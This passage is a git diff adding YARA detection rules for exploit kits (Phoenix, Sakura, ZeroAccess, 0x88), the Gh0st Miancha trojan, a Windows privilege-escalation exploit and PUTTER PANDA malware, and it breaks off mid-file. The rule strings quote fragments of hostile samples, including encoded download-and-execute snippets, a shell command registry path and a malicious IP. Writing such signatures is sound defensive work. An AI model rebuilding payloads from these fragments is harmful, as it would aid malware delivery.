index 0000000..aa452e0
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_jar3.yar
@@ -0,0 +1,23 @@
+rule phoenix_jar3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "c5655c496949f8071e41ea9ac011cab2"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "'> >$>"
+	$string1 = "bpac/PK"
+	$string2 = "bpac/purok$1.classmP]K"
+	$string3 = "bpac/KAVS.classmQ"
+	$string4 = "'n n$n"
+	$string5 = "bpac/purok$1.classPK"
+	$string6 = "$.4aX,Gt<"
+	$string7 = "bpac/KAVS.classPK"
+	$string8 = "bpac/b.classPK"
+	$string9 = "bpac/b.class"
+condition:
+	9 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_pdf.yar b/yara-mikesxrs/codewatchorg/phoenix_pdf.yar
new file mode 100644
index 0000000..beb4c80
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_pdf.yar
@@ -0,0 +1,26 @@
+rule phoenix_pdf
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "16de68e66cab08d642a669bf377368da"
+	hash1 = "bab281fe0cf3a16a396550b15d9167d5"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "0000000254 00000 n"
+	$string1 = "0000000295 00000 n"
+	$string2 = "trailer<</Root 1 0 R /Size 7>>"
+	$string3 = "0000000000 65535 f"
+	$string4 = "3 0 obj<</JavaScript 5 0 R >>endobj"
+	$string5 = "0000000120 00000 n"
+	$string6 = "%PDF-1.0"
+	$string7 = "startxref"
+	$string8 = "0000000068 00000 n"
+	$string9 = "endobjxref"
+	$string10 = ")6 0 R ]>>endobj"
+	$string11 = "0000000010 00000 n"
+condition:
+	11 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_pdf2.yar b/yara-mikesxrs/codewatchorg/phoenix_pdf2.yar
new file mode 100644
index 0000000..06522be
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_pdf2.yar
@@ -0,0 +1,27 @@
+rule phoenix_pdf2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "33cb6c67f58609aa853e80f718ab106a"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "\\nQb<%"
+	$string1 = "0000000254 00000 n"
+	$string2 = ":S3>v0$EF"
+	$string3 = "trailer<</Root 1 0 R /Size 7>>"
+	$string4 = "%PDF-1.0"
+	$string5 = "0000000000 65535 f"
+	$string6 = "endstream"
+	$string7 = "0000000010 00000 n"
+	$string8 = "6 0 obj<</JS 7 0 R/S/JavaScript>>endobj"
+	$string9 = "3 0 obj<</JavaScript 5 0 R >>endobj"
+	$string10 = "}pr2IE"
+	$string11 = "0000000157 00000 n"
+	$string12 = "1 0 obj<</Type/Catalog/Pages 2 0 R /Names 3 0 R >>endobj"
+	$string13 = "5 0 obj<</Names[("
+condition:
+	13 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/phoenix_pdf3.yar b/yara-mikesxrs/codewatchorg/phoenix_pdf3.yar
new file mode 100644
index 0000000..5cbe532
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/phoenix_pdf3.yar
@@ -0,0 +1,25 @@
+rule phoenix_pdf3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Phoenix Exploit Kit Detection"
+	hash0 = "bab281fe0cf3a16a396550b15d9167d5"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "trailer<</Root 1 0 R /Size 7>>"
+	$string1 = "stream"
+	$string2 = ";_oI5z"
+	$string3 = "0000000010 00000 n"
+	$string4 = "3 0 obj<</JavaScript 5 0 R >>endobj"
+	$string5 = "7 0 obj<</Filter[ /FlateDecode /ASCIIHexDecode /ASCII85Decode ]/Length 3324>>"
+	$string6 = "endobjxref"
+	$string7 = "L%}gE("
+	$string8 = "0000000157 00000 n"
+	$string9 = "1 0 obj<</Type/Catalog/Pages 2 0 R /Names 3 0 R >>endobj"
+	$string10 = "0000000120 00000 n"
+	$string11 = "4 0 obj<</Type/Page/Parent 2 0 R /Contents 12 0 R>>endobj"
+condition:
+	11 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/redkit_bin_basic.yar b/yara-mikesxrs/codewatchorg/redkit_bin_basic.yar
new file mode 100644
index 0000000..bedc356
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/redkit_bin_basic.yar
@@ -0,0 +1,7 @@
+rule redkit_bin_basic : exploit_kit
+{
+    strings:
+        $a = /\/\d{2}.html\s/
+    condition:
+        $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/codewatchorg/sakura_jar.yar b/yara-mikesxrs/codewatchorg/sakura_jar.yar
new file mode 100644
index 0000000..f645cd8
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/sakura_jar.yar
@@ -0,0 +1,31 @@
+rule sakura_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Sakura Exploit Kit Detection"
+	hash0 = "a566ba2e3f260c90e01366e8b0d724eb"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Rotok.classPK"
+	$string1 = "nnnolg"
+	$string2 = "X$Z'\\4^=aEbIdUmiprsxt}v<" wide
+	$string3 = "()Ljava/util/Set;"
+	$string4 = "(Ljava/lang/String;)V"
+	$string5 = "Ljava/lang/Exception;"
+	$string6 = "oooy32"
+	$string7 = "Too.java"
+	$string8 = "bbfwkd"
+	$string9 = "Ljava/lang/Process;"
+	$string10 = "getParameter"
+	$string11 = "length"
+	$string12 = "Simio.java"
+	$string13 = "Ljavax/swing/JList;"
+	$string14 = "-(Ljava/lang/String;)Ljava/lang/StringBuilder;"
+	$string15 = "Ljava/io/InputStream;"
+	$string16 = "vfnnnrof.exnnnroe"
+	$string17 = "Olsnnfw"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/sakura_jar2.yar b/yara-mikesxrs/codewatchorg/sakura_jar2.yar
new file mode 100644
index 0000000..4664a05
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/sakura_jar2.yar
@@ -0,0 +1,31 @@
+rule sakura_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Sakura Exploit Kit Detection"
+	hash0 = "d21b4e2056e5ef9f9432302f445bcbe1"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "getProperty"
+	$string1 = "java/io/FileNotFoundException"
+	$string2 = "LLolp;"
+	$string3 = "cjhgreshhnuf "
+	$string4 = "StackMapTable"
+	$string5 = "onfwwa"
+	$string6 = "(C)Ljava/lang/StringBuilder;"
+	$string7 = "replace"
+	$string8 = "LEsia$fffgss;"
+	$string9 = "<clinit>"
+	$string10 = "()Ljava/io/InputStream;"
+	$string11 = "openConnection"
+	$string12 = " gjhgreshhnijhgreshhrtSjhgreshhot.sjhgreshhihjhgreshht;)"
+	$string13 = "Oi.class"
+	$string14 = " rjhgreshhorjhgreshhre rajhgreshhv"
+	$string15 = "java/lang/String"
+	$string16 = "java/net/URL"
+	$string17 = "Created-By: 1.7.0-b147 (Oracle Corporation)"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeroaccess_css.yar b/yara-mikesxrs/codewatchorg/zeroaccess_css.yar
new file mode 100644
index 0000000..ade4a8c
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeroaccess_css.yar
@@ -0,0 +1,32 @@
+rule zeroaccess_css
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "4944324bad3b020618444ee131dce3d0"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "close-mail{right:130px "
+	$string1 = "ccc;box-shadow:0 0 5px 1px "
+	$string2 = "757575;border-bottom:1px solid "
+	$string3 = "777;height:1.8em;line-height:1.9em;display:block;float:left;padding:1px 15px;margin:0;text-shadow:-1"
+	$string4 = "C4C4C4;}"
+	$string5 = "999;-webkit-box-shadow:0 0 3px "
+	$string6 = "header div.service-links ul{display:inline;margin:10px 0 0;}"
+	$string7 = "t div h2.title{padding:0;margin:0;}.box5-condition-news h2.pane-title{display:block;margin:0 0 9px;p"
+	$string8 = "footer div.comp-info p{color:"
+	$string9 = "pcmi-listing-center .full-page-listing{width:490px;}"
+	$string10 = "pcmi-content-top .photo img,"
+	$string11 = "333;}div.tfw-header a var{display:inline-block;margin:0;line-height:20px;height:20px;width:120px;bac"
+	$string12 = "ay:none;text-decoration:none;outline:none;padding:4px;text-align:center;font-size:9px;color:"
+	$string13 = "333;}body.page-videoplayer div"
+	$string14 = "373737;position:relative;}body.node-type-video div"
+	$string15 = "pcmi-content-sidebara,.page-error-page "
+	$string16 = "fff;text-decoration:none;}"
+	$string17 = "qtabs-list li a,"
+	$string18 = "cdn2.dailyrx.com"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeroaccess_css2.yar b/yara-mikesxrs/codewatchorg/zeroaccess_css2.yar
new file mode 100644
index 0000000..abb3f0e
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeroaccess_css2.yar
@@ -0,0 +1,25 @@
+rule zeroaccess_css2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "e300d6a36b9bfc3389f64021e78b1503"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "er div.panel-hide{display:block;position:absolute;z-index:200;margin-top:-1.5em;}div.panel-pane div."
+	$string1 = "ve.gif) right center no-repeat;}div.ctools-ajaxing{float:left;width:18px;background:url(http://cdn3."
+	$string2 = "cdn2.dailyrx.com"
+	$string3 = "efefef;margin:5px 0 5px 0;}"
+	$string4 = "node{margin:0;padding:0;}div.panel-pane div.feed a{float:right;}"
+	$string5 = ":0 5px 0 0;float:left;}div.tweets-pulled-listing div.tweet-authorphoto img{max-height:40px;max-width"
+	$string6 = "i a{color:"
+	$string7 = ":bold;}div.tweets-pulled-listing .tweet-time a{color:silver;}div.tweets-pulled-listing  div.tweet-di"
+	$string8 = "div.panel-pane div.admin-links{font-size:xx-small;margin-right:1em;}div.panel-pane div.admin-links l"
+	$string9 = "div.tweets-pulled-listing ul{list-style:none;}div.tweets-pulled-listing div.tweet-authorphoto{margin"
+	$string10 = "FFFFDD none repeat scroll 0 0;border:1px solid "
+	$string11 = "vider{clear:left;border-bottom:1px solid "
+condition:
+	11 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeroaccess_htm.yar b/yara-mikesxrs/codewatchorg/zeroaccess_htm.yar
new file mode 100644
index 0000000..ec54b92
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeroaccess_htm.yar
@@ -0,0 +1,30 @@
+rule zeroaccess_htm
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "0e7d72749b60c8f05d4ff40da7e0e937"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "screen.height:"
+	$string1 = "</script></head><body onload"
+	$string2 = "Fx0ZAQRKXUVgbh0qNDRJVxYwGg4tGh8aHQoAVQQSNyo0NElXFjAaDi0NFQYESl1FBBNnTFoSPiBmADwnPTQxPSdKWUUEE2UcGR0z"
+	$string3 = "0);-10<b"
+	$string4 = "function fl(){var a"
+	$string5 = "0);else if(navigator.mimeTypes"
+	$string6 = ");b.href"
+	$string7 = "/presults.jsp"
+	$string8 = "128.164.107.221"
+	$string9 = ")[0].clientWidth"
+	$string10 = "presults.jsp"
+	$string11 = ":escape(c),e"
+	$string12 = "navigator.plugins.length)navigator.plugins["
+	$string13 = "window;d"
+	$string14 = "gr(),j"
+	$string15 = "VIEWPORT"
+	$string16 = "FQV2D0ZAH1VGDxgZVg9COwYCAwkcTzAcBxscBFoKAAMHUFVuWF5EVVYVdVtUR18bA1QdAU8HQjgeUFYeAEZ4SBEcEk1FTxsdUlVA"
+condition:
+	16 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeroaccess_js.yar b/yara-mikesxrs/codewatchorg/zeroaccess_js.yar
new file mode 100644
index 0000000..5e4e787
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeroaccess_js.yar
@@ -0,0 +1,32 @@
+rule zeroaccess_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "a9f30483a197cfdc65b4a70b8eb738ab"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Square ad tag  (tile"
+	$string1 = "  adRandNum "
+	$string2 = " cellspacing"
+	$string3 = "\\n//-->\\n</script>"
+	$string4 = "format"
+	$string5 = "//-->' "
+	$string6 = "2287974446"
+	$string7 = "NoScrBeg "
+	$string8 = "-- start adblade -->' "
+	$string9 = "3427054556"
+	$string10 = "        while (i >"
+	$string11 = "return '<table width"
+	$string12 = "</scr' "
+	$string13 = " s.substring(0, i"
+	$string14 = " /></a></noscript>' "
+	$string15 = "    else { isEmail "
+	$string16 = ").submit();"
+	$string17 = " border"
+	$string18 = "pub-8301011321395982"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeroaccess_js2.yar b/yara-mikesxrs/codewatchorg/zeroaccess_js2.yar
new file mode 100644
index 0000000..59d93e8
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeroaccess_js2.yar
@@ -0,0 +1,32 @@
+rule zeroaccess_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "b5fda04856b98c254d33548cc1c1216c"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "ApiClientConfig"
+	$string1 = "function/.test(pa.toString())"
+	$string2 = "background-image:url(http:\\/\\/static.ak.fbcdn.net\\/rsrc.php\\/v2\\/y6\\/x\\/s816eWC-2sl.gif)}"
+	$string3 = "Music.init"
+	$string4 = "',header:'bool',recommendations:'bool',site:'hostname'},create_event_button:{},degrees:{href:'url'},"
+	$string5 = "cca6477272fc5cb805f85a84f20fca1d"
+	$string6 = "document.createElement('form');c.action"
+	$string7 = "javascript:false"
+	$string8 = "s.onMessage){j.error('An instance without whenReady or onMessage makes no sense');throw new Error('A"
+	$string9 = "NaN;}else h"
+	$string10 = "sprintf"
+	$string11 = "window,j"
+	$string12 = "o.getUserID(),da"
+	$string13 = "FB.Runtime.getLoginStatus();if(b"
+	$string14 = ")');k.toString"
+	$string15 = "rovide('XFBML.Send',{Dimensions:{width:80,height:25}});"
+	$string16 = "{log:i};e.exports"
+	$string17 = "a;FB.api('/fql','GET',f,function(g){if(g.error){ES5(ES5('Object','keys',false,b),'forEach',true,func"
+	$string18 = "true;}}var ia"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeroaccess_js3.yar b/yara-mikesxrs/codewatchorg/zeroaccess_js3.yar
new file mode 100644
index 0000000..0fa0716
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeroaccess_js3.yar
@@ -0,0 +1,29 @@
+rule zeroaccess_js3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "5f13fdfb53a3e60e93d7d1d7bbecff4f"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "document.createDocumentFragment();img.src"
+	$string1 = "typeOf(events)"
+	$string2 = "var i,x,y,ARRcookies"
+	$string3 = "callbacks.length;j<l;j"
+	$string4 = "encodeURIComponent(value);if(options.domain)value"
+	$string5 = "event,HG.components.get('windowEvent_'"
+	$string6 = "'read'in Cookie){return Cookie.read(c_name);}"
+	$string7 = "item;},get:function(name,def){return HG.components.exists(name)"
+	$string8 = "){window.addEvent(windowEvents[i],function(){var callbacks"
+	$string9 = "reunload:function(callback){HG.events.add('beforeunload',callback);},add:function(event,callback){HG"
+	$string10 = "name){if(HG.components.exists(name)){delete HG.componentList[name];}}},util:{uuid:function(){return'"
+	$string11 = "window.HG"
+	$string12 = "x.replace(/"
+	$string13 = "encodeURIComponent(this.attr[key]));}"
+	$string14 = "options.domain;if(options.path)value"
+	$string15 = "this.page_sid;this.attr.user_sid"
+condition:
+	15 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeroaccess_js4.yar b/yara-mikesxrs/codewatchorg/zeroaccess_js4.yar
new file mode 100644
index 0000000..1fbf86a
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeroaccess_js4.yar
@@ -0,0 +1,31 @@
+rule zeroaccess_js4
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "ZeroAccess Exploit Kit Detection"
+	hash0 = "268ae96254e423e9d670ebe172d1a444"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ").join("
+	$string1 = "JSON.stringify:function(o){if(o"
+	$string2 = "){try{var a"
+	$string3 = ");return $.jqotecache[i]"
+	$string4 = "o.getUTCFullYear(),hours"
+	$string5 = "seconds"
+	$string6 = "')');};$.secureEvalJSON"
+	$string7 = "isFinite(n);},secondsToTime:function(sec_numb){sec_numb"
+	$string8 = "')');}else{throw new SyntaxError('Error parsing JSON, source is not valid.');}};$.quoteString"
+	$string9 = "o[name];var ret"
+	$string10 = "a[m].substr(2)"
+	$string11 = ");if(d){return true;}}}catch(e){return false;}}"
+	$string12 = "a.length;m<k;m"
+	$string13 = "if(parentClasses.length"
+	$string14 = "o.getUTCHours(),minutes"
+	$string15 = "$.jqote(e,d,t),$$"
+	$string16 = "q.test(x)){e"
+	$string17 = "{};HGWidget.creator"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zerox88_js2.yar b/yara-mikesxrs/codewatchorg/zerox88_js2.yar
new file mode 100644
index 0000000..af99a06
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zerox88_js2.yar
@@ -0,0 +1,25 @@
+rule zerox88_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "0x88 Exploit Kit Detection"
+	hash0 = "cad8b652338f5e3bc93069c8aa329301"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "function gSH() {"
+	$string1 = "200 HEIGHT"
+	$string2 = "'sh.js'><\\/SCRIPT>"
+	$string3 = " 2 - 26;"
+	$string4 = "<IFRAME ID"
+	$string5 = ",100);"
+	$string6 = "200></IFRAME>"
+	$string7 = "setTimeout("
+	$string8 = "'about:blank' WIDTH"
+	$string9 = "mf.document.write("
+	$string10 = "document.write("
+	$string11 = "Kasper "
+condition:
+	11 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zerox88_js3.yar b/yara-mikesxrs/codewatchorg/zerox88_js3.yar
new file mode 100644
index 0000000..2feb89a
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zerox88_js3.yar
@@ -0,0 +1,30 @@
+rule zerox88_js3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "0x88 Exploit Kit Detection"
+	hash0 = "9df0ac2fa92e602ec11bac53555e2d82"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = " new ActiveXObject(szHTTP); "
+	$string1 = " Csa2;"
+	$string2 = "var ADO "
+	$string3 = " new ActiveXObject(szOx88);"
+	$string4 = " unescape("
+	$string5 = "/test.exe"
+	$string6 = " szEtYij;"
+	$string7 = "var HTTP "
+	$string8 = "%41%44%4F%44%42%2E"
+	$string9 = "%4D%65%64%69%61"
+	$string10 = "var szSRjq"
+	$string11 = "%43%3A%5C%5C%50%72%6F%67%72%61%6D"
+	$string12 = "var METHOD "
+	$string13 = "ADO.Mode "
+	$string14 = "%61%79%65%72"
+	$string15 = "%2E%58%4D%4C%48%54%54%50"
+	$string16 = " 7 - 6; HTTP.Open(METHOD, szURL, i-3); "
+condition:
+	16 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/zeus_js.yar b/yara-mikesxrs/codewatchorg/zeus_js.yar
new file mode 100644
index 0000000..8c83905
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/zeus_js.yar
@@ -0,0 +1,28 @@
+rule zeus_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Zeus Exploit Kit Detection"
+	hash0 = "c87ac7a25168df49a64564afb04dc961"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "var jsmLastMenu "
+	$string1 = "position:absolute; z-index:99' "
+	$string2 = " -1)jsmSetDisplayStyle('popupmenu' "
+	$string3 = " '<tr><td><a href"
+	$string4 = "  jsmLastMenu "
+	$string5 = "  var ids "
+	$string6 = "this.target"
+	$string7 = " jsmPrevMenu, 'none');"
+	$string8 = "  if(jsmPrevMenu "
+	$string9 = ")if(MenuData[i])"
+	$string10 = " '<div style"
+	$string11 = "popupmenu"
+	$string12 = "  jsmSetDisplayStyle('popupmenu' "
+	$string13 = "function jsmHideLastMenu()"
+	$string14 = " MenuData.length; i"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/contextis/Trojan_W32_Gh0stMiancha_1_0_0.yar b/yara-mikesxrs/contextis/Trojan_W32_Gh0stMiancha_1_0_0.yar
new file mode 100644
index 0000000..b3752c6
--- /dev/null
+++ b/yara-mikesxrs/contextis/Trojan_W32_Gh0stMiancha_1_0_0.yar
@@ -0,0 +1,27 @@
+rule Trojan_W32_Gh0stMiancha_1_0_0
+{
+	meta: 
+		Reference = "http://www.contextis.com/documents/30/TA10009_20140127_-_CTI_Threat_Advisory_-_The_Monju_Incident1.pdf"
+	strings:
+		$0x = { 57 5b 5a 5a 51 57 40 34 31 67 2e 31 70 34 5c 40 40 44 3b 25 3a 19 1e 5c 7b 67 60 2e 34 31 67 2e 31 70 19 1e 55 77 77 71 64 60 2e 34 3e 3b 3e 19 1e 57 7b 7a 60 71 7a 60 39 40 6d 64 71 2e 34 60 71 6c 60 3b 7c 60 79 78 19 1e 44 66 7b 6c 6d 39 57 7b 7a 7a 71 77 60 7d 7b 7a 2e 34 5f 71 71 64 39 55 78 7d 62 71 19 1e 57 7b 7a 60 71 7a 60 39 78 71 7a 73 60 7c 2e 34 24 19 1e 19 1e }
+		$1 = { 5c e7 99 bd e5 8a a0 e9 bb 91 5c }
+ 		$1x = { 48 f3 8d a9 f1 9e b4 fd af 85 48 }
+ 		$2 = "DllCanLoadNow"
+ 		$2x = { 50 78 78 57 75 7a 58 7b 75 70 5a 7b 63 }
+ 		$3x = { 5a 61 79 76 71 66 34 7b 72 34 67 61 76 7f 71 6d 67 2e 34 31 70 }
+ 		$4 = "JXNcc2hlbGxcb3Blblxjb21tYW5k"
+		$4x = { 5e 4c 5a 77 77 26 7c 78 76 53 6c 77 76 27 56 78 76 78 6c 7e 76 26 25 60 4d 43 21 7f }
+ 		$5 = "SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA=="
+		$5x = { 47 51 52 47 46 52 70 56 41 7f 42 77 46 51 42 40 45 25 5e 5e 41 52 46 5e 40 24 21 77 41 27 78 6e 70 53 42 60 4c 51 5a 78 76 7a 46 6d 4d 43 6c 45 77 79 2d 7e 4e 4c 5a 6e 76 27 5e 77 59 55 29 29 }
+ 		$6 = "C:\\Users\\why\\"
+ 		$6x = { 57 2e 48 41 67 71 66 67 48 63 7c 6d 48 }
+ 		$7 = "g:\\ykcx\\"
+ 		$7x = { 73 2E 48 6D 7F 77 6C 48 }
+ 		$8 = "(miansha)"
+ 		$8x = { 3C 79 7D 75 7A 67 7C 75 3D }
+ 		$9 = "server(\xE5\xA3\xB3)"
+ 		$9x = { 7C 2E 48 26 24 25 27 3A 25 25 3A 26 21 48 67 71 66 62 71 66 3C F1 B7 A7 3D 48 46 71 78 71 75 67 71 48 67 71 66 62 71 66 3A 64 70 76 }
+ 		$cfgDecode = { 8a ?? ?? 80 c2 7a 80 f2 19 88 ?? ?? 41 3b ce 7c ??}
+ 	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CVE_2014_4113.yar b/yara-mikesxrs/crowdstrike/CVE_2014_4113.yar
new file mode 100644
index 0000000..a72243f
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CVE_2014_4113.yar
@@ -0,0 +1,15 @@
+rule CrowdStrike_CVE_2014_4113 {
+meta:
+	copyright = "CrowdStrike, Inc"
+	description = "CVE-2014-4113 Microsoft Windows x64 Local Privilege Escalation Exploit"
+	version = "1.0"
+	last_modified = "2014-10-14"
+	in_the_wild = true
+strings:
+	$const1 = { fb ff ff ff }
+	$const2 = { 0b 00 00 00 01 00 00 00 }
+	$const3 = { 25 00 00 00 01 00 00 00 }
+	$const4 = { 8b 00 00 00 01 00 00 00 }
+condition:
+	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _02 - rc4_dropper putterpanda.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _02 - rc4_dropper putterpanda.yar
new file mode 100644
index 0000000..50225eb
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _02 - rc4_dropper putterpanda.yar	
@@ -0,0 +1,32 @@
+rule CrowdStrike_PutterPanda_02 : rc4_dropper putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - RC4 dropper"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $res_lock = "LockResource"
+	    $res_size = "SizeofResource"
+	    $res_load = "LoadResource"
+	
+	    $com = "COMSPEC"
+	
+	    //$stack_h = { C6 4? [1-2] 68 }    
+	    //$stack_o = { C6 4? [1-2] 6F }
+	    //$stack_v = { C6 4? [1-2] 76 }
+	    //$stack_c = { C6 4? [1-2] 63 }
+	    //$stack_x = { C6 4? [1-2] 78 }
+	    //$stack_dot = { C6 4? [1-2] 2E }
+	
+	    $cryptaq = "CryptAcquireContextA"
+	
+	condition:
+	    uint16(0) == 0x5A4D and
+	    (all of ($res_*)) and 
+	    /*(all of ($stack_*)) and*/
+	    $cryptaq and $com
+	}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _03 - threepara_para_implant putterpanda.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _03 - threepara_para_implant putterpanda.yar
new file mode 100644
index 0000000..e6fa41d
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _03 - threepara_para_implant putterpanda.yar	
@@ -0,0 +1,20 @@
+rule CrowdStrike_PutterPanda_03 : threepara_para_implant putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - 3PARA RAT"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $parafmt        = "%s%dpara1=%dpara2=%dpara3=%d"
+	    $class_attribe  = "CCommandAttribe"
+	    $class_cd       = "CCommandCD"
+	    $class_cmd      = "CCommandCMD"
+	    $class_nop      = "CCommandNop"
+	
+	condition:
+	    $parafmt or all of ($class_*)
+	}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _05 _ httpclient putterpanda.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _05 _ httpclient putterpanda.yar
new file mode 100644
index 0000000..b7af874
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _05 _ httpclient putterpanda.yar	
@@ -0,0 +1,16 @@
+rule CrowdStrike_PutterPanda_05 : httpclient putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - HTTPCLIENT"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $recv_wrong = "Error:recv worng"
+	
+	condition:
+	    any of them
+	}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _06 _ xor_dropper putterpanda.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _06 _ xor_dropper putterpanda.yar
new file mode 100644
index 0000000..1dc5d1d
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_ PutterPanda _06 _ xor_dropper putterpanda.yar	
@@ -0,0 +1,16 @@
+rule CrowdStrike_PutterPanda_06 : xor_dropper putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - XOR based dropper"
+		date = "2014-03-30"
